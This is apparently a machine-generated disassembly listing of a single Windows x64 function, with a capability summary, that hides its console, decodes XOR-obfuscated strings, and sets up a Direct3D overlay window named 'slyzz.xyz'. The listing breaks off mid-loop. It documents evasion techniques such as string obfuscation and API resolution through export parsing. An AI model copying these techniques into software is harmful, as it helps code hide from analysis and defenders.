Function at 0x1400780e0
Capabilities:
Access peb ldr_data
Encode data using base64
Encode data using xor
Encrypt data using speck
Hash data using fnv
Hide graphical window
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb78]
sub rsp, 0xc50
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140147140]
xor rax, rsp
mov qword [rbp + 0xaa0], rax
xor r12d, r12d
mov r14d, r12d
mov dword [rbp + 0x18], r12d
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [str._LMJH]
movups xmmword [rbp + 0x5d0], xmm0
movups xmm1, xmmword [0x1401204b0]
movups xmmword [rbp + 0x5e0], xmm1
movups xmm0, xmmword [0x1401204c0]
movups xmmword [rbp + 0x5f0], xmm0
movups xmm1, xmmword [0x1401204d0]
movups xmmword [rbp + 0x600], xmm1
movups xmm0, xmmword [0x1401204e0]
movups xmmword [rbp + 0x610], xmm0
movups xmm1, xmmword [0x1401204f0]
movups xmmword [rbp + 0x620], xmm1
movups xmm0, xmmword [0x140120500]
movups xmmword [rbp + 0x630], xmm0
movsd xmm0, qword [0x140120510]
movsd qword [rbp + 0x640], xmm0
movzx eax, word [0x140120518]
mov word [rbp + 0x648], ax
mov r8d, r12d
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x14007834d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x5d4]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140078240
cmp r8d, 0x7a
jge 0x140078393
movsxd rax, r8d
lea r9, [rbp + 0x5d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7a
jl 0x140078360
mov eax, dword [str.d_WT_]
mov dword [rbp + 0x530], eax
movzx eax, word [0x140120490]
mov word [rbp + 0x534], ax
mov byte [rbp + 0x530], 0x53
xor byte [rbp + 0x531], 0x38
xor byte [rbp + 0x532], 0x39
xor byte [rbp + 0x533], 0x3a
xor byte [rbp + 0x534], 0x3b
xor byte [rbp + 0x535], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov qword [rbp + 0x568], r12
lea rax, [rbp + 0x530]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140078400
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x550]
call fcn.140020530
mov byte [rsp + 0x28], r12b
mov byte [rsp + 0x20], 1
mov r9b, 1
movzx r8d, r9b
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x550]
call fcn.14001a090
mov eax, dword [str.eYP_v_]
mov dword [rbp + 0x530], eax
movzx eax, word [0x140120520]
mov word [rbp + 0x534], ax
movsd xmm0, qword [str.RQu]
movsd qword [rbp + 0x538], xmm0
movzx eax, word [0x140120530]
mov word [rbp + 0x540], ax
movzx edi, byte [0x140120532]
mov byte [rbp + 0x542], dil
movups xmm0, xmmword [0x140120540]
movups xmmword [rbp + 0x5d0], xmm0
movups xmm1, xmmword [0x140120550]
movups xmmword [rbp + 0x5e0], xmm1
movups xmm0, xmmword [0x140120560]
movups xmmword [rbp + 0x5f0], xmm0
movups xmm1, xmmword [0x140120570]
movups xmmword [rbp + 0x600], xmm1
movzx esi, byte [0x140120580]
mov byte [rbp + 0x610], sil
mov ebx, dword [0x140120584]
mov dword [rbp + 0x548], ebx
movups xmm0, xmmword [0x140120588]
movups xmmword [rbp + 0x550], xmm0
movsd xmm0, qword [0x140120598]
movsd qword [rbp + 0x560], xmm0
mov eax, dword [0x1401205a0]
mov dword [rbp + 0x568], eax
movzx eax, byte [0x1401205a4]
mov byte [rbp + 0x56c], al
xor edx, edx
mov r8d, 0x278
lea rcx, [rbp + 0x7d0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x360]
mov qword [rbp + 0x5b0], rax
mov r8d, r12d
cmp r15d, 2
jl 0x14007867d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140078570
cmp r8d, 0x1d
jge 0x1400786c3
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140078690
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x370], r12
mov qword [rbp + 0x378], r12
lea rax, [rbp + 0x550]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1400786f0
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x360]
call fcn.140020530
nop
lea rax, [rbp + 0x340]
mov qword [rbp + 0x590], rax
cmp byte [rbp + 0x54b], 0
je 0x1400787f3
cmp r15d, 2
jl 0x1400787b6
movdqa xmm3, xmmword [0x1401311e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140120af0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140120af0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140120a80]
movd xmm0, ebx
xorps xmm2, xmm0
movd dword [rbp + 0x548], xmm2
jmp 0x1400787f3
lea r9, [rbp + 0x548]
mov r8d, r12d
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400787c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x350], r12
mov qword [rbp + 0x358], r12
lea rax, [rbp + 0x548]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140078820
lea rdx, [rbp + 0x548]
lea rcx, [rbp + 0x340]
call fcn.140020530
nop
lea rax, [rbp + 0x320]
mov qword [rbp + 0x598], rax
test sil, sil
je 0x1400789f5
xor esi, esi
mov r8d, esi
cmp r15d, 2
jl 0x1400789ad
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x5d4]
mov edx, dword [rbp - 0x80]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400788a0
cmp r8d, 0x41
jge 0x1400789f7
movsxd rax, r8d
lea r9, [rbp + 0x5d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x1400789c0
jmp 0x1400789f7
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
mov qword [rbp + 0x330], rsi
mov qword [rbp + 0x338], rsi
lea rax, [rbp + 0x5d0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140078a20
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x320]
call fcn.140020530
nop
lea rax, [rbp + 0x300]
mov qword [rbp + 0x5a0], rax
test dil, dil
je 0x140078aa2
xor byte [rbp + 0x538], 0x37
xor byte [rbp + 0x539], 0x38
xor byte [rbp + 0x53a], 0x39
xor byte [rbp + 0x53b], 0x3a
xor byte [rbp + 0x53c], 0x3b
xor byte [rbp + 0x53d], 0x3c
xor byte [rbp + 0x53e], 0x3d
xor byte [rbp + 0x53f], 0x3e
xor byte [rbp + 0x540], 0x3f
xor byte [rbp + 0x541], 0x40
xor dil, 0x41
mov byte [rbp + 0x542], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x310], rsi
mov qword [rbp + 0x318], rsi
lea rax, [rbp + 0x538]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140078ad0
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x300]
call fcn.140020530
nop
movzx eax, byte [rbp + 0x535]
test al, al
je 0x140078b24
xor byte [rbp + 0x530], 0x37
xor byte [rbp + 0x531], 0x38
xor byte [rbp + 0x532], 0x39
xor byte [rbp + 0x533], 0x3a
xor byte [rbp + 0x534], 0x3b
xor al, 0x3c
mov byte [rbp + 0x535], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
mov qword [rbp + 0x390], rsi
mov qword [rbp + 0x398], rsi
lea rax, [rbp + 0x530]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140078b50
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x380]
call fcn.140020530
nop
lea rax, [rbp + 0x360]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x340]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x320]
lea r8, [rbp + 0x300]
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x7d0]
call fcn.140018a70
nop
lea rcx, [rbp + 0x7d0]
call fcn.14008de20
lea rcx, [rbp + 0x7d0]
call fcn.14008c810
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call fcn.140060d30
mov dword [rbp + 0x4e0], 0x50
mov dword [rbp + 0x4e4], 0x40
lea rax, [0x14007fc80]
mov qword [rbp + 0x4e8], rax
mov qword [rbp + 0x4f0], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x4f8], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x500], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x510], xmm1
lea rbx, str.slyzz.xyz
mov qword [rbp + 0x520], rbx
mov qword [rbp + 0x528], rsi
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], rsi
mov rax, qword [rbp + 0x4f8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 0x64
mov r9d, 0xcf0000
mov r8, rbx
mov rdx, qword [rbp + 0x520]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdi, rax
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x5e4], rsi
mov qword [rbp + 0x5f8], 2
mov qword [rbp + 0x610], 2
mov qword [rbp + 0x5d0], 0
mov dword [rbp + 0x5e0], Ordinal_33
mov dword [rbp + 0x5d8], reloc.WLDAP32.dll_Ordinal_60
mov ecx, 1
mov dword [rbp + 0x5dc], ecx
mov dword [rbp + 0x5f4], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x600], rax
mov qword [rbp + 0x5ec], rcx
mov qword [rbp + 0x608], rcx
mov dword [rbp + 0xa50], 0xb000
mov dword [rbp + 0xa54], 0xa000
lea rax, [0x1401481a8]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x530]
mov qword [rsp + 0x50], rax
lea rax, [0x1401481a0]
mov qword [rsp + 0x48], rax
lea rax, [0x1401481b0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x5d0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0xa50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, ecx
xor ecx, ecx
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
test eax, eax
je 0x140078e1e
call fcn.140077cf0
mov rdx, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x520]
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
lea rcx, [rbp + 0x7d0]
call fcn.14001afb0
mov rcx, qword [rbp + 0xaa0]
xor rcx, rsp
call fcn.1400edb20
lea r11, [rsp + 0xc50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140077da0
nop
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x3808
mov r9d, 8
mov r8d, 0x438
lea rcx, str.1.88_WIP
call fcn.14002f350
xor ecx, ecx
call fcn.14002eeb0
call fcn.14003a3e0
mov r13, rax
or dword [rax], 0x401
mov byte [rbp + 0xa68], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa69], xmm0
movups xmmword [rbp + 0xa79], xmm0
movups xmmword [rbp + 0xa89], xmm0
mov byte [rbp + 0xa99], al
xor ecx, ecx
call fcn.140056f00
call fcn.14003ab40
test dword [r13], 0x400
je 0x140078ed3
mov dword [rax + 0x10], 0x40800000
mov dword [rax + 0xf4], 0x3f800000
lea rcx, [rbp + 0x740]
call fcn.14004e710
mov byte [rbp + 0x788], 1
mov byte [rbp + 0x760], 1
mov dword [rbp + 0x758], 3
mov dword [rbp + 0x75c], 3
movups xmm0, xmmword [0x1401205b0]
movups xmmword [rbp + 0x550], xmm0
movsd xmm0, qword [0x1401205c0]
movsd qword [rbp + 0x560], xmm0
movzx eax, word [0x1401205c8]
mov word [rbp + 0x568], ax
movzx eax, byte [0x1401205ca]
mov byte [rbp + 0x56a], al
mov r8d, esi
cmp r15d, 2
jl 0x14007908d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140078f80
cmp r8d, 0x1b
jge 0x1400790d3
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400790a0
mov qword [rsp + 0x20], rsi
xor r9d, r9d
movss xmm6, dword [0x1400f497c]
movaps xmm2, xmm6
lea rdx, [rbp + 0x550]
mov rcx, qword [r13 + 0x48]
call fcn.14004f4b0
lea rax, [0x1401205a8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x740]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm6
mov r8d, 0x1e695
lea rdx, [0x140101cf0]
mov rcx, qword [r13 + 0x48]
call fcn.14004f7a0
mov edx, 2
mov rcx, rdi
call qword [sym.imp.USER32.dll_MonitorFromWindow]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x6e0], xmm0
movups xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0x700], rcx
mov dword [rbp + 0x6e0], Ordinal_46
lea rdx, [rbp + 0x6e0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetMonitorInfoA]
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6e8]
cmp eax, 0x438
jle 0x1400791a7
lea rcx, [rbp + 0x5d0]
call fcn.14004e710
mov dword [rbp + 0x5e4], 0x41d00000
call fcn.14003a3e0
lea rdx, [rbp + 0x5d0]
mov rcx, qword [rax + 0x48]
call fcn.14004f1b0
call fcn.14003a3e0
mov qword [rax + 0x18], rsi
mov rcx, rdi
call fcn.140061120
mov rdx, qword [0x1401481a8]
mov rcx, qword [0x1401481a0]
call fcn.14005f850
xor r12b, r12b
movzx ebx, byte [rsp + 0x68]
movss xmm15, dword [0x1400f4980]
movss xmm10, dword [0x1400f488c]
movss xmm12, dword [0x1400f4888]
movss xmm13, dword [0x1400f483c]
movss xmm14, dword [0x1400f47ec]
movss xmm8, dword [0x1400f481c]
xorps xmm9, xmm9
movss xmm11, dword [0x140120a50]
mov edi, 1
movss xmm6, dword [0x140120a58]
movss xmm7, dword [0x1400f4854]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x708]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14007929f
nop dword [rax + rax]
lea rcx, [rbp + 0x708]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x708]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx r12d, r12b
cmp dword [rbp + 0x710], 0x12
cmove r12d, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x708]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140079250
test r12b, r12b
jne 0x14007fbc7
call fcn.14005fb30
call fcn.140061540
call fcn.140040e10
movaps xmm0, xmm15
call fcn.140047530
mov r8d, dword [0x140147028]
lea rdx, [0x14014702d]
mov rcx, qword [0x1401481c8]
call fcn.140029850
mov eax, dword [0x1401481f4]
test eax, eax
jne 0x140079e1f
mov dword [rbp + 0x278], 0x43960000
mov dword [rbp + 0x27c], 0x43480000
xor edx, edx
lea rcx, [rbp + 0x278]
call fcn.140047b30
mov dword [rbp + 0x280], 0x43848000
mov dword [rbp + 0x284], 0x43250000
lea rcx, [rbp + 0x280]
call fcn.140047270
mov dword [rbp + 0x288], 0x41c80000
mov dword [rbp + 0x28c], 0x41c80000
lea rdx, [rbp + 0x288]
lea rcx, [0x140120a2c]
call fcn.1400659c0
mov dword [rbp + 0x290], 0x42700000
mov dword [rbp + 0x294], 0x42960000
lea rcx, [rbp + 0x290]
call fcn.140047270
movss xmm0, dword [0x1400f498c]
call fcn.140047510
mov r9d, reloc.WLDAP32.dll_Ordinal_32
cmp byte [0x1401481f9], 0
cmovne r9d, esi
movsd xmm0, qword [0x1401205d0]
movsd qword [rbp + 0xc8], xmm0
mov eax, dword [0x1401205d8]
mov dword [rbp + 0xd0], eax
movzx eax, byte [0x1401205dc]
mov byte [rbp + 0xd4], al
mov r8d, esi
cmp r15d, 2
jl 0x1400794cc
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401205d0]
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
